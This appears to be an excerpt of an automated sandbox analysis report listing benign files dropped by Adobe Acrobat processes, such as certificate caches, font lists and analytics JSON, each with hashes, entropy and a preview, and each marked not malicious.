SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklhiLrRltfllXlE/HT8k9T7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKvLrDeT80T7VNMa8RdWBwRd
MD5:	A3D372A4DB03E3E7DBC1B343EABCBFE1
SHA1:	B563D7FF4CD99A6729F68A428EF3B3AFDDD2AEB7
SHA-256:	73EECFEAED6702B903FF7D3971D3E8212743B52C23A7C707A1B5B6C7286A341F
SHA-512:	6C2A491C91113EF4FE2DBF9EF701FC380F148EC0A428E77F35050A758C5827F64A5830FABA62BBC278E3B2B920377CBD6B44669588A38B5865B79389D7B38B76
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.233096791118922
Encrypted:	false
SSDEEP:	6:kKPNL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:nNiDImsLNkPlE99SNxAhUe/3
MD5:	9877E328DBDB623BDA4D04AE813BE87B
SHA1:	B0D8721085EA66ED2B8C19F814A0D912B2A004CE
SHA-256:	1A1209F747940733CB062CD6CB3099811AF12FD5A66899FBC06AFE52A0875C82
SHA-512:	788760483DF301F02F742A231ABFC7643716C34CD24F36E6F0C815140BC71D8B567C0E627FDD44F2DFA2C2EF326D0787A2A5103BC1654E547B9120EC2C203C7E
Malicious:	false
Preview:	p...... ........fr..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3379832493240755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJM3g98kUwPeUkwRe9:YvXKXTNAcR8GMbLUkee9
MD5:	208D48D0AE00E116E75E93FADF71C03E
SHA1:	DFA44449E4D384A9128837B8B93A56BD17215BF3
SHA-256:	4C26F554A3AF580267AF67B8E893CE0430E7FF5883B0BF2DFBC269EADD00DD19
SHA-512:	E2F642C83E0CB143B03B840698A737B5508A6CD0B60802B2B6A59327505154FA3F44CE9B82A98CB6D5478C4E4D74EA341F0A4480F4F7BDAED15A906FE5F06028
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286857187399733
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfBoTfXpnrPeUkwRe9:YvXKXTNAcR8GWTfXcUkee9
MD5:	4301ECB4499624CB1966AAD1652FB5D0
SHA1:	5BEC40D683A6B2A5828EF8291E08D782FEC84308
SHA-256:	54E5253F90EF3C14B762FE192EEC6E92EA8C6722613E2E532AAFFB445A193EFB
SHA-512:	A8838DF6EE6CDBE7E1B71E8D45D6D4F07C3D263379082C050B0AC40AE2B23897B87B2956663C0D26DDB0718C80EBB5FCE7BF00162B3B8964E5EFDF9A32C06473
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.265527249823958
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfBD2G6UpnrPeUkwRe9:YvXKXTNAcR8GR22cUkee9
MD5:	9744388FA2CCB1DCE04BACA51B138809
SHA1:	64E88AE4C7F045E0FA71CD931AD96E226089BCC3
SHA-256:	5359A157FEE5B6240DED1C63685E5C1EBADAEBBB86D663B647B8965E1412426A
SHA-512:	3FC2BA31C7F8E3EC84D216960261301CE5ABCC60E2EF3FF14FD339161B36C685B5D06EFD660B6AE4CA9CC43853CC03919A09DB8DA6DB65E09DF8BB012A312CFF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.317115293865447
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfPmwrPeUkwRe9:YvXKXTNAcR8GH56Ukee9
MD5:	FE0BA44A4CC9E4D5405C9E81C8EEE95B
SHA1:	2F7AC635A43F17E724A1F1FBCBAE6DC333572039
SHA-256:	A1D1AAF2CE47D363E8897CD83FBC2FE7DC0C755CA52B869D57DF9DB8FE52F622
SHA-512:	9791F3DA1AA893659BB179EBFB789E32B1671D644177826495CCB793AA01B53107A39C7C7F235987CD7A4B6D0961E6EBCF2EED09C1A097AD65B7F90C800EE49A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686540158958839
Encrypted:	false
SSDEEP:	24:Yv6XJ1fpLgE9cQx8LennAvzBvkn0RCmK8czOCCSX:Yv25hgy6SAFv5Ah8cv/X
MD5:	1042AB355CDFEF912C2DF51A3BA335AB
SHA1:	FB1739B06C8DF3418EA31E070B6C427FCD76CEDB
SHA-256:	409379CB6F15C9C7C5762B4D6F12E38EE847C12D197D1A2BEF234DA125324376
SHA-512:	BCDE5C5081D5B07C20DA7144BFE41BF7BDB85318AADFB29CBE316AF0685E93542FCE04A1FEC6C92CEFCBB7581373B4971835AE24F4985D0C23725EC93F3AF581
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265460413109554
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJf8dPeUkwRe9:YvXKXTNAcR8GU8Ukee9
MD5:	F2D67FF1E1625D262ECDAEA31BD15A3A
SHA1:	CB22E971BF6EA85A1A2FE8D8127789CCB99CBF64
SHA-256:	0D1E91CE76E8EE08E1373789CD317F964B1B8F5A5B7F4F89C2ED7C5086C0698E
SHA-512:	46DF37F9335642B09D0D402DB1CA8B0238D8AF4552316618CAF05D7DD7C6579FFD082EFC95A239F017D027F40638B58235555C5537DEF9903B9ACA63A53FE47F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.267932738345046
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfQ1rPeUkwRe9:YvXKXTNAcR8GY16Ukee9
MD5:	8ACF7D8823A422B68B985AEB42FD2601
SHA1:	866E9E3AB66FAECA9C5BDCC07008D8F3D170A5DC
SHA-256:	6FD5E416C5DC3CE1F89CB2ADCC8B1E7B5070C1FBE467515136CB0B1106F54B3A
SHA-512:	9051995455680C2715D1FD52BD17136A1CCB2EC64A02FA324165DA83BE98B0AE2664AB574FEF895659BB64FD2A35A443343CD249F4B7F2302F190CF6A17E6C92
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277404569115947
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfFldPeUkwRe9:YvXKXTNAcR8Gz8Ukee9
MD5:	9777BD1E6814AB7949560EBB74728557
SHA1:	D7BC1DDD69F4B01B72E4D3F74921053C548AAF42
SHA-256:	6D3456B69F016FD71618C43D6F30916DF874013C57442AB65C21C616E662E9A0
SHA-512:	640F302E912C5DEF0A0F7EC6193B5652F07B7D784D08EECBEDC11D58F37F94D890CF530CF22312138F2035FE7E1D617977AED4AE3214474C0966AD9AB4341D30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.292755337441745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFEIRzJGnZiQ0YqzoAvJfzdPeUkwRe9:YvXKXTNAcR8Gb8Ukee9
MD5:	DA3E79857B6B305BFBAA7650CC1EAF73
SHA1:	ADA3783985B5C26BC9BDC1682B3AEED43FACE672
SHA-256:	0AE6B211808688ABD7F12CCF4AB6F1CC4876D347BA788C2912E5B00F53068440
SHA-512:	76A536FDD9F0AE7F23463EC0064B6C78C0A0C890FC36ED121496A622E0B9FC3471BBF43C9209848D65B6FBE09DC0A126124FB10E5A3A2FD3C1E23A31CEA887C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"f30ba730-4ed6-471f-9ea2-1e77cec9c515","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736709457271,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272846659105187
Encrypted:	false
